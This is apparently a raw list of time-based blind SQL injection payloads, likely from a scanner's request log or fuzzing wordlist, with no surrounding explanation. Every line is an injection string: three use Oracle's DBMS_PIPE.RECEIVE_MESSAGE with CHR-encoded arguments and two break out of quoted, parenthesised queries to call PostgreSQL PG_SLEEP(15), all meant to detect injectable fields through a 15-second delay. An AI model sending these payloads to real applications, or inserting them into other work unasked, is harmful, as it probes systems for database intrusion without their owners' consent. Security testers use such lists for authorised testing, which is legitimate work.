(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555liQzkwpT')) OR 149=(SELECT 149 FROM PG_SLEEP(15))--

5553hdPd6HZ') OR 634=(SELECT 634 FROM PG_SLEEP(15))--